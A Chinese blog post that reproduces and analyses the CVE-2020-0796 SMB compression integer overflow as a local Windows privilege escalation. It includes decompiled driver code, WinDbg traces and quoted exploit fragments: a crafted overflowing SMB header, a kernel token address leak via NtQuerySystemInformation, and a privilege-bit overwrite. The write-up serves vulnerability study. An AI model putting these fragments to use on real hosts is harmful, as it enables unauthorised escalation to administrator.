CVE-2020-0796 windows SMB 内核提权漏洞复现与分析

CVE-2020-0796 windows SMB 内核提权漏洞复现与分析

前言

前几天看到a1ex发了篇此漏洞的分析,之前想过分析这个win kernel的洞,不过没什么经验,刚好被我逮到一个可以问问题的2333,所以俺也来试着分析一下。

双机调试环境搭建

唔貌似网上的资料很多,看a1ex的博客或者搜别的都可,这里不赘述了。

漏洞分析

这个洞的影响非常大,我们之前分析的一些内核漏洞虽然也可以提权,但是很多在流行的发行版的内核中并不适用,而这个漏洞则可以在很多windows的发行版中直接使用,无需额外配置,这也是俺对它好奇的原因,因为第一次调win的洞,很多调试技巧和命令都多亏了a1ex教俺,非常感谢。

搭建好双机调试环境之后在windbg preview的attach kernel那里附加到我们的被调试机,下断点的时候如bp srvNet!SrvNetAllocateBuffer找不到符号文件的话可以开全局的代理而后使用.reload重新加载符号文件,此时windbg会自动从符号服务器上下载刚刚没有解析的符号文件pdb,有了这些pdb在IDA中看起来方便很多。这里用到了俩,srvnet.pdbsrv2.pdb,先从被调试机拷出来之后配合.pdb就可以分析了。

首先了解一下smb协议,smb服务俺之前在实验室主机上搭过samba服务,这个其实就是SMB协议的实现,本篇分析主要是基于启明星辰和a1ex的文章分析,漏洞位于srv2.sys,Windows SMB v3.1.1 版本增加了对压缩数据的支持。下面为带压缩数据的SMB数据报文的构成。

前面是整个smb数据包的报头,中间是smb压缩数据包的包头。

根据微软MS-SMB2协议文档,SMB Compression Transform Header的结构如下图所示。

  1. ProtocolId :4字节,必须0x424D53FC

  2. OriginalComressedSegmentSize :4字节,未压缩数据的大小

  3. CompressionAlgorithm :2字节,压缩算法,必须为下表中的某一个

  1. Flags :2字节,必须为SMB2_COMPRESSION_FLAG_NONE或者SMB2_COMPRESSION_FLAG_CHAINED

  2. Offset/Length :如果Flags为SMB2_COMPRESSION_FLAG_CHAINED,这个字段被作为Length使用,其含义为压缩的payload的大小;否则这个字段被当作Offset使用,其含义为压缩数据段的开始到本结构尾的距离。

漏洞出现在对于压缩数据的处理上,该函数为Srv2DecompressData,调用SrvNetAllocateBuffer函数为解压缩的数据分配内存空间时候使用OriginalComressedSegmentSize+Offset作为函数参数,而这个参数的类型为unsigned int,即32位整数,存在整数溢出的问题,假如我们传入的参数为0xffffffff+0x2,则只会传入1来进行空间分配,最终产生溢出。这种有点类似我们之前做题遇到的base64解码前分配的空间不足导致溢出的pwn题。

SmbCompressionDecompress这个解压缩函数最终会调用到RtlDecompressBufferEx2函数,通过RtlDecompressBufferEx2函数原型可以反推测出SmbCompressionDecompress函数的参数。

  1. CompressAlog:压缩算法
  2. CompressedBuffer:指向压缩数据包中的的压缩数据
  3. CompressedBufferSize:压缩数据的大小
  4. UncompressedBuffer:解压缩后数据的存储地址
  5. UncompressedBufferSize:压缩数据的原始大小
  6. FinalUncompressedSize:解压缩后的数据大小
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
__int64 __fastcall SmbCompressionDecompress(int CompressAlog, __int64 CompressedBuffer, int CompressedBufferSize, __int64 UncompressedBuffer, unsigned int UncompressedBufferSize, unsigned int *FinalUncompressedSize)
{
PVOID WorkSpace; // rdi
int v10; // ebx
int v11; // ecx
int v12; // ecx
USHORT CompressionFormat; // bx
unsigned int *v14; // rsi
unsigned int v15; // ebp
int CompressedBufferSize1; // [rsp+20h] [rbp-48h]
ULONG CompressFragmentWorkSpaceSize[4]; // [rsp+40h] [rbp-28h] BYREF
ULONG CompressBufferWorkSpaceSize; // [rsp+70h] [rbp+8h] BYREF

CompressFragmentWorkSpaceSize[0] = 0;
WorkSpace = 0i64;
CompressBufferWorkSpaceSize = 0;
if ( !CompressAlog )
return (unsigned int)-1073741637;
v11 = CompressAlog - 1;
if ( v11 )
{
v12 = v11 - 1;
if ( v12 )
{
if ( v12 != 1 )
return (unsigned int)-1073741637;
CompressionFormat = 4;
}
else
{
CompressionFormat = 3;
}
}
else
{
CompressionFormat = 2;
}
if ( RtlGetCompressionWorkSpaceSize(CompressionFormat, &CompressBufferWorkSpaceSize, CompressFragmentWorkSpaceSize) < 0
|| (WorkSpace = ExAllocatePoolWithTag((POOL_TYPE)512, CompressBufferWorkSpaceSize, 0x2532534Cu)) != 0i64 )
{
v14 = FinalUncompressedSize;
CompressedBufferSize1 = CompressedBufferSize;
v15 = UncompressedBufferSize;
v10 = RtlDecompressBufferEx2(
CompressionFormat,
UncompressedBuffer,
UncompressedBufferSize,
CompressedBuffer,
CompressedBufferSize1,
4096,
FinalUncompressedSize,
WorkSpace,
CompressFragmentWorkSpaceSize[0]);
if ( v10 >= 0 )
*v14 = v15;
if ( WorkSpace )
ExFreePoolWithTag(WorkSpace, 0x2532534Cu);
}
else
{
v10 = -1073741670;
}
return (unsigned int)v10;
}

Srv2DecompressData按照参数加了注释,该函数的处理流程如下。

  1. 从smb_packet数据包中提取出SMB Compression Transform Header记作smb_ct_header
  2. smb_ct_header中根据偏移可以得到算法,通过SrvNetAllocateBuffer(OriginalComressedSegmentSize+Offset)分配内存空间,返回值为alloc_buf
  3. 调用SmbCompressionDecompress(int CompressAlog, __int64 CompressedBuffer, int CompressedBufferSize, __int64 UncompressedBuffer, unsigned int UncompressedBufferSize, unsigned int *FinalUncompressedSize)来进行解压缩,注意这里的参数4为*(alloc_buf+0x18)+0x10,即解压缩的数据位于alloc_buf+0x18的位置
  4. 比较解压缩的数据大小和原始数据大小是否一致,如果一致的话就调用memmove将解压缩的数据拷贝到*(alloc_buf+0x18)指向的地址处。
  5. 最后使用alloc_buf替换smb_packet。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    signed __int64 __fastcall Srv2DecompressData(__int64 smb_packet)
    {
    __int64 smb_ct_header; // rax
    __m128i v3; // xmm0
    unsigned int CompressAlog; // ebp
    __int64 alloc_buf1; // rax
    __int64 alloc_buf; // rbx
    int v8; // eax
    __m128i Size; // [rsp+30h] [rbp-28h]
    int FinalUncompressedSize; // [rsp+60h] [rbp+8h] BYREF

    FinalUncompressedSize = 0;
    smb_ct_header = *(_QWORD *)(smb_packet + 0xF0);
    if ( *(_DWORD *)(smb_ct_header + 36) < 0x10u )
    return 0xC000090Bi64;
    Size = *(__m128i *)*(_QWORD *)(smb_ct_header + 0x18);// tcp payload size
    v3 = _mm_srli_si128(Size, 8); // 右移动8个字节
    CompressAlog = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 0x50) + 496i64) + 140i64);
    if ( CompressAlog != v3.m128i_u16[0] )
    return 0xC00000BBi64;
    alloc_buf1 = SrvNetAllocateBuffer((unsigned int)(Size.m128i_i32[1] + v3.m128i_i32[1]), 0i64);
    alloc_buf = alloc_buf1;
    if ( !alloc_buf1 )
    return 3221225626i64;
    if ( (int)SmbCompressionDecompress(
    CompressAlog,
    *(_QWORD *)(*(_QWORD *)(smb_packet + 0xF0) + 24i64) + Size.m128i_u32[3] + 16i64,// CompressedBuffer:payload+offset+0x10
    (unsigned int)(*(_DWORD *)(*(_QWORD *)(smb_packet + 0xF0) + 36i64) - Size.m128i_i32[3] - 16),// CompressedBufferSize:payload_size-offset-0x10
    Size.m128i_u32[3] + *(_QWORD *)(alloc_buf1 + 0x18),// UncompressedBuffer:*(alloc_buf+0x18)+offset
    Size.m128i_i32[1], // UncompressedBufferSize:OriginalComressedSegmentSize字段
    &FinalUncompressedSize) < 0
    || (v8 = FinalUncompressedSize, FinalUncompressedSize != Size.m128i_i32[1]) )// 注意这里的判断条件,最终解压缩之后的数据大小需要等于原来的字段中的解压缩数据大小
    {
    SrvNetFreeBuffer(alloc_buf);
    return 0xC000090Bi64;
    }
    if ( Size.m128i_i32[3] )
    {
    memmove( // 内存写入
    *(void **)(alloc_buf + 0x18),
    (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 0xF0) + 24i64) + 16i64),// payload+0x10
    Size.m128i_u32[3]); // Offset
    v8 = FinalUncompressedSize;
    }
    *(_DWORD *)(alloc_buf + 0x24) = Size.m128i_i32[3] + v8;
    Srv2ReplaceReceiveBuffer(smb_packet, alloc_buf);
    return 0i64;
    }

图的话比干讲形象很多,右边是alloc_buf,decompress的数据会拷贝到指定地址处,由于原本分配的大小较小,在拷贝的时候会产生溢出。

在exp中给的数据为0xffffffff+0x10,即传入参数为9,我们看下分配的实际大小是多少。

我们的参数小于0x1100,直接从SrvNetBufferLookasides[0]获取内存,查看其相对引用,在SrvNetCreateBufferLookasides创建,该函数循环调用SrvNetBufferLookasideAllocate函数来分配内存,写个脚本看下分配的内存,大小为0x1100 0x2100 0x4100 0x8100 0x10100 0x20100 0x40100 0x80100 0x100100 0x200100,该函数实际上调用SrvNetAllocateBufferFromPool函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
__int64 __fastcall SrvNetAllocateBuffer(unsigned __int64 alloc_sz, __int64 a2)
{
int v2; // ebp
int idx; // esi
__int16 v5; // di
__int64 v6; // rcx
unsigned int v7; // eax
__int64 v8; // rdx
__int64 v9; // rax
__int64 v10; // rdi
__int64 v11; // rbx
unsigned __int64 v13; // rcx
__int64 v14; // rdx
unsigned __int64 v15; // rax
unsigned int v16; // eax
void *v17; // rcx
__int16 v18; // ax

v2 = HIDWORD(KeGetPcr()[1].LockArray);
idx = 0;
v5 = 0;
if ( SrvDisableNetBufferLookAsideList || alloc_sz > 0x100100 )
{
if ( alloc_sz > 0x1000100 )
return 0i64;
v11 = SrvNetAllocateBufferFromPool(alloc_sz, alloc_sz);
}
else
{
if ( alloc_sz > 0x1100 )
{
v13 = alloc_sz - 256;
_BitScanReverse64((unsigned __int64 *)&v14, v13);
_BitScanForward64(&v15, v13);
if ( (_DWORD)v14 == (_DWORD)v15 )
idx = v14 - 12;
else
idx = v14 - 11;
}
v6 = SrvNetBufferLookasides[idx];
v7 = *(_DWORD *)v6 - 1;
//...
}
}
__int64 SrvNetCreateBufferLookasides()
{
__int64 *v0; // rdi
int v1; // er8
int v2; // er9
unsigned int v3; // ebx
__int64 v4; // rax
int v6; // [rsp+30h] [rbp-18h]

v0 = SrvNetBufferLookasides;
memset(SrvNetBufferLookasides, 0, sizeof(SrvNetBufferLookasides));
v3 = 0;
while ( 1 )
{
v4 = PplCreateLookasideList(
(int)SrvNetBufferLookasideAllocate,
(int)SrvNetBufferLookasideFree,
v1,
v2,
(1 << (v3 + 12)) + 256, // 分配的内存的大小
0x3030534Cu,
v6,
0x6662534Cu);
*v0 = v4;
if ( !v4 )
break;
++v3;
++v0;
if ( v3 >= 9 )
return 0i64;
}
SrvNetDeleteBufferLookasides();
return 3221225626i64;
}
__int64 SrvNetBufferLookasideAllocate()
{
return SrvNetAllocateBufferFromPool();
}

SrvNetAllocateBufferFromPool函数调用ExAllocatePoolWithTag函数分配内存,分配之后对内存做了初始化操作,最后返回了一个内存信息结构体指针作为函数的返回值。

1
2
3
4
5
return_buffer = (unsigned __int64)&v8[v2 + 0x57] & 0xFFFFFFFFFFFFFFF8ui64;// return_buf等于分配的alloc_buf+0x1150
*(_QWORD *)(return_buffer + 48) = v8;
*(_QWORD *)(return_buffer + 80) = (return_buffer + v5 + 151) & 0xFFFFFFFFFFFFFFF8ui64;
v13 = (return_buffer + 151) & 0xFFFFFFFFFFFFFFF8ui64;
*(_QWORD *)(return_buffer + 0x18) = v8 + 0x50;// return_buf+0x18存储的地址指向解压后数据的存储地址

最后的数据结构的示意图如下图所示,整个大的结构是ExAllocatePoolWithTag分配的,这点很好理解,我们按照分配链往下走,最后负责分配的一定是要分配最多空间的,回溯的时候不同部分给不同函数做管理使用。分配的整个空间的前0x50字节不知道用来做什么,再往下的user_buf就是用户可以操作的部分,这部分用来存放我们的数据。再往下偏移为0x1150处是一个内存管理结构体,这个结构体指针将作为返回值return_buf返回给最开始的那个分配函数,其偏移为0x18处存储着user_buf的地址。

另外解压还有个关键的条件是我们解压后的数据大小要和原字段中的大小相同,我们可以看到在RtlDecompressBufferEx2执行完后有一处*FinalUncompressedSize1 = UncompressedBufferSize1;,这个赋值导致最后的结果恒成立。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
__int64 __fastcall SmbCompressionDecompress(int CompressAlog, __int64 CompressedBuffer, int CompressedBufferSize, __int64 UncompressedBuffer, unsigned int UncompressedBufferSize, unsigned int *FinalUncompressedSize)
{
PVOID WorkSpace; // rdi
int v10; // ebx
int v11; // ecx
int v12; // ecx
USHORT CompressionFormat; // bx
unsigned int *FinalUncompressedSize1; // rsi
unsigned int UncompressedBufferSize1; // ebp
int CompressedBufferSize1; // [rsp+20h] [rbp-48h]
ULONG CompressFragmentWorkSpaceSize[4]; // [rsp+40h] [rbp-28h] BYREF
ULONG CompressBufferWorkSpaceSize; // [rsp+70h] [rbp+8h] BYREF

CompressFragmentWorkSpaceSize[0] = 0;
WorkSpace = 0i64;
CompressBufferWorkSpaceSize = 0;
if ( !CompressAlog )
return (unsigned int)-1073741637;
v11 = CompressAlog - 1;
if ( v11 )
{
v12 = v11 - 1;
if ( v12 )
{
if ( v12 != 1 )
return (unsigned int)-1073741637;
CompressionFormat = 4;
}
else
{
CompressionFormat = 3;
}
}
else
{
CompressionFormat = 2;
}
if ( RtlGetCompressionWorkSpaceSize(CompressionFormat, &CompressBufferWorkSpaceSize, CompressFragmentWorkSpaceSize) < 0
|| (WorkSpace = ExAllocatePoolWithTag((POOL_TYPE)512, CompressBufferWorkSpaceSize, 0x2532534Cu)) != 0i64 )
{
FinalUncompressedSize1 = FinalUncompressedSize;
CompressedBufferSize1 = CompressedBufferSize;
UncompressedBufferSize1 = UncompressedBufferSize;
v10 = RtlDecompressBufferEx2(
CompressionFormat,
UncompressedBuffer,
UncompressedBufferSize,
CompressedBuffer,
CompressedBufferSize1,
4096,
FinalUncompressedSize,
WorkSpace,
CompressFragmentWorkSpaceSize[0]);
if ( v10 >= 0 )
*FinalUncompressedSize1 = UncompressedBufferSize1;// 这里
if ( WorkSpace )
ExFreePoolWithTag(WorkSpace, 0x2532534Cu);
}
else
{
v10 = -1073741670;
}
return (unsigned int)v10;
}

继续往后看,解压后的数据将会填充到user_buf+0x10的位置,我们填充的数据如下,我们将从实际分配的内存+0x60处开始拷贝,也就是拷贝到距离0x1150+0x18的地方填充上ktoken+0x40

1
2
memset(buffer, 'A', 0x1108);
*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */

随后在memmove((alloc_buffer+0x18),SMB_payload,offset调用中可以向权限结构体里写入SMB_payload从而提权成功,至此exp这个进程的权限提升到了管理员,后面再在进程中注入shellcode执行恶意功能。

exp中获取token的代码如下,通过OpenProcessToken获取当前进程的权限令牌,再通过get_handle_addr函数获取令牌的地址。

  • 在Windows上有一些众所周知的信息泄漏技巧,如本例中使用的NtQuerySystemInformation函数。这个函数有一些神奇的功能,它会返回许多内核地址。我们主要感兴趣的是此函数能够提供目前分配的每个对象的列表,使用SystemExtendedHandleInformation参数调用NtQuerySystemInformation,我们可以得到SYSTEM_HANDLE_INFORMATION_EX结构。借助此列表,我们可以使用PID和句柄获取所需对象的内核地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
ULONG64 get_handle_addr(HANDLE h) {
ULONG len = 20;
NTSTATUS status = (NTSTATUS)0xc0000004;
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
do {
len *= 2;
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len);
} while (status == (NTSTATUS)0xc0000004);

if (status != (NTSTATUS)0x0) {
printf("NtQuerySystemInformation() failed with error: %#x\n", status);
return 1;
}

DWORD mypid = GetProcessId(GetCurrentProcess());
ULONG64 ptrs[1000] = { 0 };
for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) {
PVOID object = pHandleInfo->Handles[i].Object;
ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue;
DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId;
if (pid != mypid)
continue;
if (handle == (ULONG_PTR)h)
return (ULONG64)object;
}
return -1;
}

ULONG64 get_process_token() {
HANDLE token;
HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (proc == INVALID_HANDLE_VALUE)
return 0;

OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);
ULONG64 ktoken = get_handle_addr(token);

return ktoken;
}

参考CVE-2014-4113 Win8.1 64位利用看下如何获得高权限的TOKEN,内核中TOKEN对象结构中有一个很重要的SEP_TOKEN_PRIVILEGES结构,其中的每一位都代表一种权限,如下所示,Present字段表示启用的特权,Enabled字段表示拥有的特权.在决定一个Token所表示的权限时,SEP_TOKEN_PRIVILEGES结构中的Enable的值是真正起作用的。可见似乎可以通过改写[TOKEN+0x48]处的值来改变权限。

SEP_TOKEN_PRIVILEGES结构中最重要的是SeDebugPrivilege权限。只要具有该权限,就可以调试系统进程,也就具有注入代码到系统进程并远程执行的权限,等于有了管理员权限。所以一定得保证该标志位为1。

可以看这篇文章看下如何查看令牌权限的变化。

漏洞利用视角下的CVE-2020-0796漏洞

在我们的exp里的令牌数据赋值发生在下面

1
2
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;

漏洞调试

开机之后attach上去下断点,而后g或者F5

1
2
3
4
5
0: kd> bl
0 e Disable Clear fffff804`1c967e60 0001 (0001) srv2!Srv2DecompressData
1 e Disable Clear fffff804`1c7d6730 0001 (0001) srvnet!SrvNetAllocateBuffer
2 e Disable Clear fffff804`1c7ee4b0 0001 (0001) srvnet!SmbCompressionDecompress
3 e Disable Clear fffff804`1c95f5c0 0001 (0001) srv2!memcpy

多搞几次断到Srv2DecompressData,运行到mov rax, qword ptr [rax+18h]的赋值,这对应函数中的smb_ct_heder = *(__m128i *)*(_QWORD *)(smb_ct_header + 0x18);d rax查看rax寄存器的数据,对应exp构造的smb header,offset后面跟的就是压缩的数据,注意数据前0x10被赋值为了特权令牌的关键权限位。

1
2
3
4
5
6
7
8
9
10
11
12
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,

/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};

g fffff8041c967ee0跳到调用srvnet!SrvNetAllocateBuffer处,查看参数,为0xf和0

p之后进入函数,gu等于gdb的finish,执行完当前函数返回值存放在rax中,ffff900c03a60150+0x18处保存着user_buf地址

g运行到下一个断点即srvnet!SmbCompressionDecompress,我们还是gu执行完这个函数,然后d ffff900c03a60150查看return_buf存储的user_buf已经被改成了ktoken_addr+0x40

我们使用!process 0 0找寻系统的所有进程,找到漏洞程序 cve-2020-0796-local.exe所在的进程地址,输入dt _EPROCESS addr来查看该进程的数据结构,在 0x360处我们能找到token结构,这里直接点击该成员就会展示出来。

1
2
3
4
PROCESS ffff900c0291f080
SessionId: 1 Cid: 21c8 Peb: 1003f5000 ParentCid: 0714
DirBase: 00ed0000 ObjectTable: ffffa38bcfc9b800 HandleCount: 58.
Image: cve-2020-0796-local.exe

  • 你可能已经注意到在_EPROCESS结构体中,token字段是以_EX_FAST_REF来声明的而不是期望的_TOKEN结构。_EX_FAST_REF结构是一种技巧,它依赖于一种假定,在16字节的边界上需要将内核数据结构对齐到内存中。这意味着一个指向token或其他任何内核对象的指针最低的4个位永远都是0(十六进制就是最后一个数永远为0)。Windows因此可以自由的使用该指针的低4位用于其他目的.
1
2
3
4
5
2: kd> dt _EX_FAST_REF
nt!_EX_FAST_REF
+0x000 Object : Ptr64 Void
+0x000 RefCnt : Pos 0, 4 Bits
+0x000 Value : Uint8B

从_EX_FAST_REF中获取实际的指针只需要简单的修改最后的一位十六进制数位0即可。通过程序实现的话,就将最低4位的值与0值按位与。

可以通过dt _TOKEN或更好的!token扩展命令来显示一个token。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
2: kd> dt _TOKEN
nt!_TOKEN
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER
+0x030 TokenLock : Ptr64 _ERESOURCE
+0x038 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy : _SEP_AUDIT_POLICY
+0x078 SessionId : Uint4B
+0x07c UserAndGroupCount : Uint4B
+0x080 RestrictedSidCount : Uint4B
+0x084 VariableLength : Uint4B
+0x088 DynamicCharged : Uint4B
+0x08c DynamicAvailable : Uint4B
+0x090 DefaultOwnerIndex : Uint4B
+0x098 UserAndGroups : Ptr64 _SID_AND_ATTRIBUTES
+0x0a0 RestrictedSids : Ptr64 _SID_AND_ATTRIBUTES
+0x0a8 PrimaryGroup : Ptr64 Void
+0x0b0 DynamicPart : Ptr64 Uint4B
+0x0b8 DefaultDacl : Ptr64 _ACL
+0x0c0 TokenType : _TOKEN_TYPE
+0x0c4 ImpersonationLevel : _SECURITY_IMPERSONATION_LEVEL
+0x0c8 TokenFlags : Uint4B
+0x0cc TokenInUse : UChar
+0x0d0 IntegrityLevelIndex : Uint4B
+0x0d4 MandatoryPolicy : Uint4B
+0x0d8 LogonSession : Ptr64 _SEP_LOGON_SESSION_REFERENCES
+0x0e0 OriginatingLogonSession : _LUID
+0x0e8 SidHash : _SID_AND_ATTRIBUTES_HASH
+0x1f8 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
+0x308 pSecurityAttributes : Ptr64 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
+0x310 Package : Ptr64 Void
+0x318 Capabilities : Ptr64 _SID_AND_ATTRIBUTES
+0x320 CapabilityCount : Uint4B
+0x328 CapabilitiesHash : _SID_AND_ATTRIBUTES_HASH
+0x438 LowboxNumberEntry : Ptr64 _SEP_LOWBOX_NUMBER_ENTRY
+0x440 LowboxHandlesEntry : Ptr64 _SEP_CACHED_HANDLES_ENTRY
+0x448 pClaimAttributes : Ptr64 _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION
+0x450 TrustLevelSid : Ptr64 Void
+0x458 TrustLinkedToken : Ptr64 _TOKEN
+0x460 IntegrityLevelSidValue : Ptr64 Void
+0x468 TokenSidValues : Ptr64 _SEP_SID_VALUES_BLOCK
+0x470 IndexEntry : Ptr64 _SEP_LUID_TO_INDEX_MAP_ENTRY
+0x478 DiagnosticInfo : Ptr64 _SEP_TOKEN_DIAG_TRACK_ENTRY
+0x480 BnoIsolationHandlesEntry : Ptr64 _SEP_CACHED_HANDLES_ENTRY
+0x488 SessionObject : Ptr64 Void
+0x490 VariablePart : Uint8B

得到token实际地址ffffa38bd189d770后查看其结构.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
2: kd> ? 0xffffa38bd189d778 & ffffffff`fffffff0
Evaluate expression: -101654065457296 = ffffa38b`d189d770
2: kd> !token ffffa38b`d189d770
_TOKEN 0xffffa38bd189d770
TS Session ID: 0x1
User: S-1-5-21-3965716127-288158643-3447225976-1001
User Groups:
00 S-1-16-8192
Attributes - GroupIntegrity GroupIntegrityEnabled
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-114
Attributes - DenyOnly
03 S-1-5-32-544
Attributes - DenyOnly
04 S-1-5-32-545
Attributes - Mandatory Default Enabled
05 S-1-5-4
Attributes - Mandatory Default Enabled
06 S-1-2-1
Attributes - Mandatory Default Enabled
07 S-1-5-11
Attributes - Mandatory Default Enabled
08 S-1-5-15
Attributes - Mandatory Default Enabled
09 S-1-11-96-3623454863-58364-18864-2661722203-1597581903-3040155090-2699348868-2212403739-2132912781-15699764
Attributes - Mandatory Default Enabled
10 S-1-5-113
Attributes - Mandatory Default Enabled
11 S-1-5-5-0-183069
Attributes - Mandatory Default Enabled LogonId
12 S-1-2-0
Attributes - Mandatory Default Enabled
13 S-1-5-64-36
Attributes - Mandatory Default Enabled
Primary Group: S-1-5-21-3965716127-288158643-3447225976-1001
Privs:
19 0x000000013 SeShutdownPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes -
34 0x000000022 SeTimeZonePrivilege Attributes -
Authentication ID: (0,2e63f)
Impersonation Level: Anonymous
TokenType: Primary
Source: User32 TokenFlags: 0x2a00 ( Token in use )
Token ID: 17774c ParentToken ID: 0
Modified ID: (0, 2e64d)
RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 3e7
PackageSid: (null)
CapabilityCount: 0 Capabilities: 0x0000000000000000
LowboxNumberEntry: 0x0000000000000000
Security Attributes:
Unable to get the offset of nt!_AUTHZBASEP_SECURITY_ATTRIBUTE.ListLink
Process Token TrustLevelSid: (null)

ffffa38bd189d770+0x40=ffffa38bd189d7b0(回看下刚才的buf+0x18修改的值可以对应上),我们使用SEP_TOKEN_PRIVILEGES结构查看这里的值,可以看到权限较低。

1
2
3
4
2: kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffa38bd189d7b0
+0x000 Present : 0x00000006`02880000
+0x008 Enabled : 0x800000
+0x010 EnabledByDefault : 0x40800000

我们使用gu addr运行到memmove这里,rcx rdx r8分别对应三个参数,查看此时的数据可以看到我们拷贝了0x10的特权进程的数据进去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
2: kd> dq rcx
ffffa38b`d189d7b0 00000006`02880000 00000000`00800000
ffffa38b`d189d7c0 00000000`40800000 00000000`00000000
ffffa38b`d189d7d0 00000000`00000000 00000000`00000000
ffffa38b`d189d7e0 00010000`00000000 0000000f`00000001
ffffa38b`d189d7f0 00000210`00000000 00000000`00001000
ffffa38b`d189d800 0057002e`00000000 ffffa38b`d189dc00
ffffa38b`d189d810 00000000`00000000 ffffa38b`ce869cc0
ffffa38b`d189d820 ffffa38b`ce869cc0 ffffa38b`ce869cdc
2: kd> dq rdx
ffff900c`01714590 0000001f`f2ffffbc 0000001f`f2ffffbc
ffff900c`017145a0 0f000741`403fffff 8bd189d7`b01104ff
ffff900c`017145b0 00000000`00ffffa3 00000000`00000000
ffff900c`017145c0 00000000`00080024 cdab0201`0000007f
ffff900c`017145d0 cdab0201`cdab0201 00000078`cdab0201
ffff900c`017145e0 02100202`00000002 03020300`02240222
ffff900c`017145f0 00000000`03110310 00000000`00260001
ffff900c`01714600 00000001`00200001 00000000`00000000

拷贝之后再看,token的标志位成功修改。

1
2
3
4
5
6
2: kd> dq ffffa38b`d189d7b0 L2
ffffa38b`d189d7b0 0000001f`f2ffffbc 0000001f`f2ffffbc
2: kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffa38bd189d7b0
+0x000 Present : 0x0000001f`f2ffffbc
+0x008 Enabled : 0x0000001f`f2ffffbc
+0x010 EnabledByDefault : 0x40800000

disable掉所有断点再g,最终调用shellcode弹出了cmd窗口并且权限为管理员。

参考

CVE-2020-0796调试分析

漏洞利用视角下的CVE-2020-0796漏洞

WinDBG-for-GDB-users

[翻译]Windows x64内核提权

Windows SMB Ghost(CVE-2020-0796)漏洞分析

您的支持将鼓励我继续创作